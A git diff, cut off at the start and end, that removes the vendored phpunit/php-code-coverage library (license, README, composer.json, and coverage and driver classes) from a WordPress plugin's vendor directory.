https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.9...9.2.10 -[9.2.9]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.8...9.2.9 -[9.2.8]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.7...9.2.8 -[9.2.7]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.6...9.2.7 -[9.2.6]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.5...9.2.6 -[9.2.5]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.4...9.2.5 -[9.2.4]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.3...9.2.4 -[9.2.3]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.2...9.2.3 -[9.2.2]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.1...9.2.2 -[9.2.1]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.0...9.2.1 -[9.2.0]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.1.11...9.2.0 -[9.1.11]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.1.10...9.1.11 -[9.1.10]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.1.9...9.1.10 -[9.1.9]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.1.8...9.1.9 -[9.1.8]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.1.7...9.1.8 -[9.1.7]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.1.6...9.1.7 -[9.1.6]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.1.5...9.1.6 -[9.1.5]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.1.4...9.1.5 -[9.1.4]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.1.3...9.1.4 -[9.1.3]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.1.2...9.1.3 -[9.1.2]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.1.1...9.1.2 -[9.1.1]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.1.0...9.1.1 -[9.1.0]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.0.0...9.1.0 -[9.0.0]: https://github.com/sebastianbergmann/php-code-coverage/compare/8.0...9.0.0 -[8.0.2]: https://github.com/sebastianbergmann/php-code-coverage/compare/8.0.1...8.0.2 -[8.0.1]: https://github.com/sebastianbergmann/php-code-coverage/compare/8.0.0...8.0.1 -[8.0.0]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.10...8.0.0 -[7.0.15]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.14...7.0.15 -[7.0.14]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.13...7.0.14 -[7.0.13]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.12...7.0.13 -[7.0.12]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.11...7.0.12 -[7.0.11]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.10...7.0.11 -[7.0.10]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.9...7.0.10 -[7.0.9]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.8...7.0.9 -[7.0.8]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.7...7.0.8 -[7.0.7]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.6...7.0.7 -[7.0.6]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.5...7.0.6 -[7.0.5]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.4...7.0.5 -[7.0.4]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.3...7.0.4 -[7.0.3]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.2...7.0.3 -[7.0.2]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.1...7.0.2 -[7.0.1]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.0...7.0.1 -[7.0.0]: https://github.com/sebastianbergmann/php-code-coverage/compare/6.1.4...7.0.0 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/LICENSE deleted file mode 100644 index 80e09f7b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/LICENSE +++ /dev/null @@ -1,29 +0,0 @@ -BSD 3-Clause License - -Copyright (c) 2009-2023, Sebastian Bergmann -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -1. Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. - -2. Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -3. Neither the name of the copyright holder nor the names of its - contributors may be used to endorse or promote products derived from - this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/README.md deleted file mode 100644 index 53ce9b33..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/README.md +++ /dev/null @@ -1,48 +0,0 @@ -# phpunit/php-code-coverage - -[![Latest Stable Version](https://poser.pugx.org/phpunit/php-code-coverage/v/stable.png)](https://packagist.org/packages/phpunit/php-code-coverage) -[![CI Status](https://github.com/sebastianbergmann/php-code-coverage/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/php-code-coverage/actions) -[![Type Coverage](https://shepherd.dev/github/sebastianbergmann/php-code-coverage/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/php-code-coverage) - -Provides collection, processing, and rendering functionality for PHP code coverage information. - -## Installation - -You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): - -``` -composer require phpunit/php-code-coverage -``` - -If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: - -``` -composer require --dev phpunit/php-code-coverage -``` - -## Usage - -```php -includeDirectory('/path/to/directory'); - -$coverage = new CodeCoverage( - (new Selector)->forLineCoverage($filter), - $filter -); - -$coverage->start(''); - -// ... - -$coverage->stop(); - - -(new HtmlReport)->process($coverage, '/tmp/code-coverage-report'); -``` diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/build/scripts/extract-release-notes.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/build/scripts/extract-release-notes.php deleted file mode 100755 index 39014398..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/build/scripts/extract-release-notes.php +++ /dev/null @@ -1,47 +0,0 @@ -#!/usr/bin/env php -' . PHP_EOL; - - exit(1); -} - -$version = $argv[1]; -$versionSeries = explode('.', $version)[0] . '.' . explode('.', $version)[1]; - -$file = __DIR__ . '/../../ChangeLog-' . $versionSeries . '.md'; - -if (!is_file($file) || !is_readable($file)) { - print $file . ' cannot be read' . PHP_EOL; - - exit(1); -} - -$buffer = ''; -$append = false; - -foreach (file($file) as $line) { - if (str_starts_with($line, '## [' . $version . ']')) { - $append = true; - - continue; - } - - if ($append && (str_starts_with($line, '## ') || str_starts_with($line, '['))) { - break; - } - - if ($append) { - $buffer .= $line; - } -} - -$buffer = trim($buffer); - -if ($buffer === '') { - print 'Unable to extract release notes' . PHP_EOL; - - exit(1); -} - -print $buffer . PHP_EOL; diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/composer.json deleted file mode 100644 index f9fd3613..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/composer.json +++ /dev/null @@ -1,69 +0,0 @@ -{ - "name": "phpunit/php-code-coverage", - "description": "Library that provides collection, processing, and rendering functionality for PHP code coverage information.", - "type": "library", - "keywords": [ - "coverage", - "testing", - "xunit" - ], - "homepage": "https://github.com/sebastianbergmann/php-code-coverage", - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "support": { - "issues": "https://github.com/sebastianbergmann/php-code-coverage/issues", - "security": "https://github.com/sebastianbergmann/php-code-coverage/security/policy" - }, - "config": { - "platform": { - "php": "7.3.0" - }, - "optimize-autoloader": true, - "sort-packages": true - }, - "prefer-stable": true, - "require": { - "php": ">=7.3", - "ext-dom": "*", - "ext-libxml": "*", - "ext-xmlwriter": "*", - "nikic/php-parser": "^4.19.1 || ^5.1.0", - "phpunit/php-file-iterator": "^3.0.6", - "phpunit/php-text-template": "^2.0.4", - "sebastian/code-unit-reverse-lookup": "^2.0.3", - "sebastian/complexity": "^2.0.3", - "sebastian/environment": "^5.1.5", - "sebastian/lines-of-code": "^1.0.4", - "sebastian/version": "^3.0.2", - "theseer/tokenizer": "^1.2.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.6" - }, - "suggest": { - "ext-pcov": "PHP extension that provides line coverage", - "ext-xdebug": "PHP extension that provides line coverage as well as branch and path coverage" - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "autoload-dev": { - "files": [ - "tests/TestCase.php", - "tests/_files/BankAccountTest.php" - ] - }, - "extra": { - "branch-alias": { - "dev-main": "9.2.x-dev" - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/CodeCoverage.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/CodeCoverage.php deleted file mode 100644 index ba4f1f8c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/CodeCoverage.php +++ /dev/null @@ -1,709 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage; - -use function array_diff; -use function array_diff_key; -use function array_flip; -use function array_keys; -use function array_merge; -use function array_unique; -use function array_values; -use function count; -use function explode; -use function get_class; -use function is_array; -use function sort; -use PHPUnit\Framework\TestCase; -use PHPUnit\Runner\PhptTestCase; -use PHPUnit\Util\Test; -use ReflectionClass; -use SebastianBergmann\CodeCoverage\Driver\Driver; -use SebastianBergmann\CodeCoverage\Node\Builder; -use SebastianBergmann\CodeCoverage\Node\Directory; -use SebastianBergmann\CodeCoverage\StaticAnalysis\CachingFileAnalyser; -use SebastianBergmann\CodeCoverage\StaticAnalysis\FileAnalyser; -use SebastianBergmann\CodeCoverage\StaticAnalysis\ParsingFileAnalyser; -use SebastianBergmann\CodeUnitReverseLookup\Wizard; - -/** - * Provides collection functionality for PHP code coverage information. - */ -final class CodeCoverage -{ - private const UNCOVERED_FILES = 'UNCOVERED_FILES'; - - /** - * @var Driver - */ - private $driver; - - /** - * @var Filter - */ - private $filter; - - /** - * @var Wizard - */ - private $wizard; - - /** - * @var bool - */ - private $checkForUnintentionallyCoveredCode = false; - - /** - * @var bool - */ - private $includeUncoveredFiles = true; - - /** - * @var bool - */ - private $processUncoveredFiles = false; - - /** - * @var bool - */ - private $ignoreDeprecatedCode = false; - - /** - * @var null|PhptTestCase|string|TestCase - */ - private $currentId; - - /** - * Code coverage data. - * - * @var ProcessedCodeCoverageData - */ - private $data; - - /** - * @var bool - */ - private $useAnnotationsForIgnoringCode = true; - - /** - * Test data. - * - * @var array - */ - private $tests = []; - - /** - * @psalm-var list - */ - private $parentClassesExcludedFromUnintentionallyCoveredCodeCheck = []; - - /** - * @var ?FileAnalyser - */ - private $analyser; - - /** - * @var ?string - */ - private $cacheDirectory; - - /** - * @var ?Directory - */ - private $cachedReport; - - public function __construct(Driver $driver, Filter $filter) - { - $this->driver = $driver; - $this->filter = $filter; - $this->data = new ProcessedCodeCoverageData; - $this->wizard = new Wizard; - } - - /** - * Returns the code coverage information as a graph of node objects. - */ - public function getReport(): Directory - { - if ($this->cachedReport === null) { - $this->cachedReport = (new Builder($this->analyser()))->build($this); - } - - return $this->cachedReport; - } - - /** - * Clears collected code coverage data. - */ - public function clear(): void - { - $this->currentId = null; - $this->data = new ProcessedCodeCoverageData; - $this->tests = []; - $this->cachedReport = null; - } - - /** - * @internal - */ - public function clearCache(): void - { - $this->cachedReport = null; - } - - /** - * Returns the filter object used. - */ - public function filter(): Filter - { - return $this->filter; - } - - /** - * Returns the collected code coverage data. - */ - public function getData(bool $raw = false): ProcessedCodeCoverageData - { - if (!$raw) { - if ($this->processUncoveredFiles) { - $this->processUncoveredFilesFromFilter(); - } elseif ($this->includeUncoveredFiles) { - $this->addUncoveredFilesFromFilter(); - } - } - - return $this->data; - } - - /** - * Sets the coverage data. - */ - public function setData(ProcessedCodeCoverageData $data): void - { - $this->data = $data; - } - - /** - * Returns the test data. - */ - public function getTests(): array - { - return $this->tests; - } - - /** - * Sets the test data. - */ - public function setTests(array $tests): void - { - $this->tests = $tests; - } - - /** - * Start collection of code coverage information. - * - * @param PhptTestCase|string|TestCase $id - */ - public function start($id, bool $clear = false): void - { - if ($clear) { - $this->clear(); - } - - $this->currentId = $id; - - $this->driver->start(); - - $this->cachedReport = null; - } - - /** - * Stop collection of code coverage information. - * - * @param array|false $linesToBeCovered - */ - public function stop(bool $append = true, $linesToBeCovered = [], array $linesToBeUsed = []): RawCodeCoverageData - { - if (!is_array($linesToBeCovered) && $linesToBeCovered !== false) { - throw new InvalidArgumentException( - '$linesToBeCovered must be an array or false' - ); - } - - $data = $this->driver->stop(); - $this->append($data, null, $append, $linesToBeCovered, $linesToBeUsed); - - $this->currentId = null; - $this->cachedReport = null; - - return $data; - } - - /** - * Appends code coverage data. - * - * @param PhptTestCase|string|TestCase $id - * @param array|false $linesToBeCovered - * - * @throws ReflectionException - * @throws TestIdMissingException - * @throws UnintentionallyCoveredCodeException - */ - public function append(RawCodeCoverageData $rawData, $id = null, bool $append = true, $linesToBeCovered = [], array $linesToBeUsed = []): void - { - if ($id === null) { - $id = $this->currentId; - } - - if ($id === null) { - throw new TestIdMissingException; - } - - $this->cachedReport = null; - - $this->applyFilter($rawData); - - $this->applyExecutableLinesFilter($rawData); - - if ($this->useAnnotationsForIgnoringCode) { - $this->applyIgnoredLinesFilter($rawData); - } - - $this->data->initializeUnseenData($rawData); - - if (!$append) { - return; - } - - if ($id !== self::UNCOVERED_FILES) { - $this->applyCoversAnnotationFilter( - $rawData, - $linesToBeCovered, - $linesToBeUsed - ); - - if (empty($rawData->lineCoverage())) { - return; - } - - $size = 'unknown'; - $status = -1; - $fromTestcase = false; - - if ($id instanceof TestCase) { - $fromTestcase = true; - $_size = $id->getSize(); - - if ($_size === Test::SMALL) { - $size = 'small'; - } elseif ($_size === Test::MEDIUM) { - $size = 'medium'; - } elseif ($_size === Test::LARGE) { - $size = 'large'; - } - - $status = $id->getStatus(); - $id = get_class($id) . '::' . $id->getName(); - } elseif ($id instanceof PhptTestCase) { - $fromTestcase = true; - $size = 'large'; - $id = $id->getName(); - } - - $this->tests[$id] = ['size' => $size, 'status' => $status, 'fromTestcase' => $fromTestcase]; - - $this->data->markCodeAsExecutedByTestCase($id, $rawData); - } - } - - /** - * Merges the data from another instance. - */ - public function merge(self $that): void - { - $this->filter->includeFiles( - $that->filter()->files() - ); - - $this->data->merge($that->data); - - $this->tests = array_merge($this->tests, $that->getTests()); - - $this->cachedReport = null; - } - - public function enableCheckForUnintentionallyCoveredCode(): void - { - $this->checkForUnintentionallyCoveredCode = true; - } - - public function disableCheckForUnintentionallyCoveredCode(): void - { - $this->checkForUnintentionallyCoveredCode = false; - } - - public function includeUncoveredFiles(): void - { - $this->includeUncoveredFiles = true; - } - - public function excludeUncoveredFiles(): void - { - $this->includeUncoveredFiles = false; - } - - public function processUncoveredFiles(): void - { - $this->processUncoveredFiles = true; - } - - public function doNotProcessUncoveredFiles(): void - { - $this->processUncoveredFiles = false; - } - - public function enableAnnotationsForIgnoringCode(): void - { - $this->useAnnotationsForIgnoringCode = true; - } - - public function disableAnnotationsForIgnoringCode(): void - { - $this->useAnnotationsForIgnoringCode = false; - } - - public function ignoreDeprecatedCode(): void - { - $this->ignoreDeprecatedCode = true; - } - - public function doNotIgnoreDeprecatedCode(): void - { - $this->ignoreDeprecatedCode = false; - } - - /** - * @psalm-assert-if-true !null $this->cacheDirectory - */ - public function cachesStaticAnalysis(): bool - { - return $this->cacheDirectory !== null; - } - - public function cacheStaticAnalysis(string $directory): void - { - $this->cacheDirectory = $directory; - } - - public function doNotCacheStaticAnalysis(): void - { - $this->cacheDirectory = null; - } - - /** - * @throws StaticAnalysisCacheNotConfiguredException - */ - public function cacheDirectory(): string - { - if (!$this->cachesStaticAnalysis()) { - throw new StaticAnalysisCacheNotConfiguredException( - 'The static analysis cache is not configured' - ); - } - - return $this->cacheDirectory; - } - - /** - * @psalm-param class-string $className - */ - public function excludeSubclassesOfThisClassFromUnintentionallyCoveredCodeCheck(string $className): void - { - $this->parentClassesExcludedFromUnintentionallyCoveredCodeCheck[] = $className; - } - - public function enableBranchAndPathCoverage(): void - { - $this->driver->enableBranchAndPathCoverage(); - } - - public function disableBranchAndPathCoverage(): void - { - $this->driver->disableBranchAndPathCoverage(); - } - - public function collectsBranchAndPathCoverage(): bool - { - return $this->driver->collectsBranchAndPathCoverage(); - } - - public function detectsDeadCode(): bool - { - return $this->driver->detectsDeadCode(); - } - - /** - * Applies the @covers annotation filtering. - * - * @param array|false $linesToBeCovered - * - * @throws ReflectionException - * @throws UnintentionallyCoveredCodeException - */ - private function applyCoversAnnotationFilter(RawCodeCoverageData $rawData, $linesToBeCovered, array $linesToBeUsed): void - { - if ($linesToBeCovered === false) { - $rawData->clear(); - - return; - } - - if (empty($linesToBeCovered)) { - return; - } - - if ($this->checkForUnintentionallyCoveredCode && - (!$this->currentId instanceof TestCase || - (!$this->currentId->isMedium() && !$this->currentId->isLarge()))) { - $this->performUnintentionallyCoveredCodeCheck($rawData, $linesToBeCovered, $linesToBeUsed); - } - - $rawLineData = $rawData->lineCoverage(); - $filesWithNoCoverage = array_diff_key($rawLineData, $linesToBeCovered); - - foreach (array_keys($filesWithNoCoverage) as $fileWithNoCoverage) { - $rawData->removeCoverageDataForFile($fileWithNoCoverage); - } - - if (is_array($linesToBeCovered)) { - foreach ($linesToBeCovered as $fileToBeCovered => $includedLines) { - $rawData->keepLineCoverageDataOnlyForLines($fileToBeCovered, $includedLines); - $rawData->keepFunctionCoverageDataOnlyForLines($fileToBeCovered, $includedLines); - } - } - } - - private function applyFilter(RawCodeCoverageData $data): void - { - if ($this->filter->isEmpty()) { - return; - } - - foreach (array_keys($data->lineCoverage()) as $filename) { - if ($this->filter->isExcluded($filename)) { - $data->removeCoverageDataForFile($filename); - } - } - } - - private function applyExecutableLinesFilter(RawCodeCoverageData $data): void - { - foreach (array_keys($data->lineCoverage()) as $filename) { - if (!$this->filter->isFile($filename)) { - continue; - } - - $linesToBranchMap = $this->analyser()->executableLinesIn($filename); - - $data->keepLineCoverageDataOnlyForLines( - $filename, - array_keys($linesToBranchMap) - ); - - $data->markExecutableLineByBranch( - $filename, - $linesToBranchMap - ); - } - } - - private function applyIgnoredLinesFilter(RawCodeCoverageData $data): void - { - foreach (array_keys($data->lineCoverage()) as $filename) { - if (!$this->filter->isFile($filename)) { - continue; - } - - $data->removeCoverageDataForLines( - $filename, - $this->analyser()->ignoredLinesFor($filename) - ); - } - } - - /** - * @throws UnintentionallyCoveredCodeException - */ - private function addUncoveredFilesFromFilter(): void - { - $uncoveredFiles = array_diff( - $this->filter->files(), - $this->data->coveredFiles() - ); - - foreach ($uncoveredFiles as $uncoveredFile) { - if ($this->filter->isFile($uncoveredFile)) { - $this->append( - RawCodeCoverageData::fromUncoveredFile( - $uncoveredFile, - $this->analyser() - ), - self::UNCOVERED_FILES - ); - } - } - } - - /** - * @throws UnintentionallyCoveredCodeException - */ - private function processUncoveredFilesFromFilter(): void - { - $uncoveredFiles = array_diff( - $this->filter->files(), - $this->data->coveredFiles() - ); - - $this->driver->start(); - - foreach ($uncoveredFiles as $uncoveredFile) { - if ($this->filter->isFile($uncoveredFile)) { - include_once $uncoveredFile; - } - } - - $this->append($this->driver->stop(), self::UNCOVERED_FILES); - } - - /** - * @throws ReflectionException - * @throws UnintentionallyCoveredCodeException - */ - private function performUnintentionallyCoveredCodeCheck(RawCodeCoverageData $data, array $linesToBeCovered, array $linesToBeUsed): void - { - $allowedLines = $this->getAllowedLines( - $linesToBeCovered, - $linesToBeUsed - ); - - $unintentionallyCoveredUnits = []; - - foreach ($data->lineCoverage() as $file => $_data) { - foreach ($_data as $line => $flag) { - if ($flag === 1 && !isset($allowedLines[$file][$line])) { - $unintentionallyCoveredUnits[] = $this->wizard->lookup($file, $line); - } - } - } - - $unintentionallyCoveredUnits = $this->processUnintentionallyCoveredUnits($unintentionallyCoveredUnits); - - if (!empty($unintentionallyCoveredUnits)) { - throw new UnintentionallyCoveredCodeException( - $unintentionallyCoveredUnits - ); - } - } - - private function getAllowedLines(array $linesToBeCovered, array $linesToBeUsed): array - { - $allowedLines = []; - - foreach (array_keys($linesToBeCovered) as $file) { - if (!isset($allowedLines[$file])) { - $allowedLines[$file] = []; - } - - $allowedLines[$file] = array_merge( - $allowedLines[$file], - $linesToBeCovered[$file] - ); - } - - foreach (array_keys($linesToBeUsed) as $file) { - if (!isset($allowedLines[$file])) { - $allowedLines[$file] = []; - } - - $allowedLines[$file] = array_merge( - $allowedLines[$file], - $linesToBeUsed[$file] - ); - } - - foreach (array_keys($allowedLines) as $file) { - $allowedLines[$file] = array_flip( - array_unique($allowedLines[$file]) - ); - } - - return $allowedLines; - } - - /** - * @throws ReflectionException - */ - private function processUnintentionallyCoveredUnits(array $unintentionallyCoveredUnits): array - { - $unintentionallyCoveredUnits = array_unique($unintentionallyCoveredUnits); - sort($unintentionallyCoveredUnits); - - foreach (array_keys($unintentionallyCoveredUnits) as $k => $v) { - $unit = explode('::', $unintentionallyCoveredUnits[$k]); - - if (count($unit) !== 2) { - continue; - } - - try { - $class = new ReflectionClass($unit[0]); - - foreach ($this->parentClassesExcludedFromUnintentionallyCoveredCodeCheck as $parentClass) { - if ($class->isSubclassOf($parentClass)) { - unset($unintentionallyCoveredUnits[$k]); - - break; - } - } - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - $e->getCode(), - $e - ); - } - } - - return array_values($unintentionallyCoveredUnits); - } - - private function analyser(): FileAnalyser - { - if ($this->analyser !== null) { - return $this->analyser; - } - - $this->analyser = new ParsingFileAnalyser( - $this->useAnnotationsForIgnoringCode, - $this->ignoreDeprecatedCode - ); - - if ($this->cachesStaticAnalysis()) { - $this->analyser = new CachingFileAnalyser( - $this->cacheDirectory, - $this->analyser, - $this->useAnnotationsForIgnoringCode, - $this->ignoreDeprecatedCode - ); - } - - return $this->analyser; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Driver/Driver.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Driver/Driver.php deleted file mode 100644 index dc2de68f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Driver/Driver.php +++ /dev/null @@ -1,167 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Driver; - -use function sprintf; -use SebastianBergmann\CodeCoverage\BranchAndPathCoverageNotSupportedException; -use SebastianBergmann\CodeCoverage\DeadCodeDetectionNotSupportedException; -use SebastianBergmann\CodeCoverage\Filter; -use SebastianBergmann\CodeCoverage\NoCodeCoverageDriverAvailableException; -use SebastianBergmann\CodeCoverage\NoCodeCoverageDriverWithPathCoverageSupportAvailableException; -use SebastianBergmann\CodeCoverage\RawCodeCoverageData; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -abstract class Driver -{ - /** - * @var int - * - * @see http://xdebug.org/docs/code_coverage - */ - public const LINE_NOT_EXECUTABLE = -2; - - /** - * @var int - * - * @see http://xdebug.org/docs/code_coverage - */ - public const LINE_NOT_EXECUTED = -1; - - /** - * @var int - * - * @see http://xdebug.org/docs/code_coverage - */ - public const LINE_EXECUTED = 1; - - /** - * @var int - * - * @see http://xdebug.org/docs/code_coverage - */ - public const BRANCH_NOT_HIT = 0; - - /** - * @var int - * - * @see http://xdebug.org/docs/code_coverage - */ - public const BRANCH_HIT = 1; - - /** - * @var bool - */ - private $collectBranchAndPathCoverage = false; - - /** - * @var bool - */ - private $detectDeadCode = false; - - /** - * @throws NoCodeCoverageDriverAvailableException - * @throws PcovNotAvailableException - * @throws PhpdbgNotAvailableException - * @throws Xdebug2NotEnabledException - * @throws Xdebug3NotEnabledException - * @throws XdebugNotAvailableException - * - * @deprecated Use DriverSelector::forLineCoverage() instead - */ - public static function forLineCoverage(Filter $filter): self - { - return (new Selector)->forLineCoverage($filter); - } - - /** - * @throws NoCodeCoverageDriverWithPathCoverageSupportAvailableException - * @throws Xdebug2NotEnabledException - * @throws Xdebug3NotEnabledException - * @throws XdebugNotAvailableException - * - * @deprecated Use DriverSelector::forLineAndPathCoverage() instead - */ - public static function forLineAndPathCoverage(Filter $filter): self - { - return (new Selector)->forLineAndPathCoverage($filter); - } - - public function canCollectBranchAndPathCoverage(): bool - { - return false; - } - - public function collectsBranchAndPathCoverage(): bool - { - return $this->collectBranchAndPathCoverage; - } - - /** - * @throws BranchAndPathCoverageNotSupportedException - */ - public function enableBranchAndPathCoverage(): void - { - if (!$this->canCollectBranchAndPathCoverage()) { - throw new BranchAndPathCoverageNotSupportedException( - sprintf( - '%s does not support branch and path coverage', - $this->nameAndVersion() - ) - ); - } - - $this->collectBranchAndPathCoverage = true; - } - - public function disableBranchAndPathCoverage(): void - { - $this->collectBranchAndPathCoverage = false; - } - - public function canDetectDeadCode(): bool - { - return false; - } - - public function detectsDeadCode(): bool - { - return $this->detectDeadCode; - } - - /** - * @throws DeadCodeDetectionNotSupportedException - */ - public function enableDeadCodeDetection(): void - { - if (!$this->canDetectDeadCode()) { - throw new DeadCodeDetectionNotSupportedException( - sprintf( - '%s does not support dead code detection', - $this->nameAndVersion() - ) - ); - } - - $this->detectDeadCode = true; - } - - public function disableDeadCodeDetection(): void - { - $this->detectDeadCode = false; - } - - abstract public function nameAndVersion(): string; - - abstract public function start(): void; - - abstract public function stop(): RawCodeCoverageData; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Driver/PcovDriver.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Driver/PcovDriver.php deleted file mode 100644 index c30b30c4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Driver/PcovDriver.php +++ /dev/null @@ -1,75 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Driver; - -use const pcov\inclusive; -use function array_intersect; -use function extension_loaded; -use function pcov\clear; -use function pcov\collect; -use function pcov\start; -use function pcov\stop; -use function pcov\waiting; -use function phpversion; -use SebastianBergmann\CodeCoverage\Filter; -use SebastianBergmann\CodeCoverage\RawCodeCoverageData; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class PcovDriver extends Driver -{ - /** - * @var Filter - */ - private $filter; - - /** - * @throws PcovNotAvailableException - */ - public function __construct(Filter $filter) - { - if (!extension_loaded('pcov')) { - throw new PcovNotAvailableException; - } - - $this->filter = $filter; - } - - public function start(): void - { - start(); - } - - public function stop(): RawCodeCoverageData - { - stop(); - - $filesToCollectCoverageFor = waiting(); - $collected = []; - - if ($filesToCollectCoverageFor) { - if (!$this->filter->isEmpty()) { - $filesToCollectCoverageFor = array_intersect($filesToCollectCoverageFor, $this->filter->files()); - } - - $collected = collect(inclusive, $filesToCollectCoverageFor); - - clear(); - } - - return RawCodeCoverageData::fromXdebugWithoutPathCoverage($collected); - } - - public function nameAndVersion(): string - { - return 'PCOV ' . phpversion('pcov'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Driver/PhpdbgDriver.php 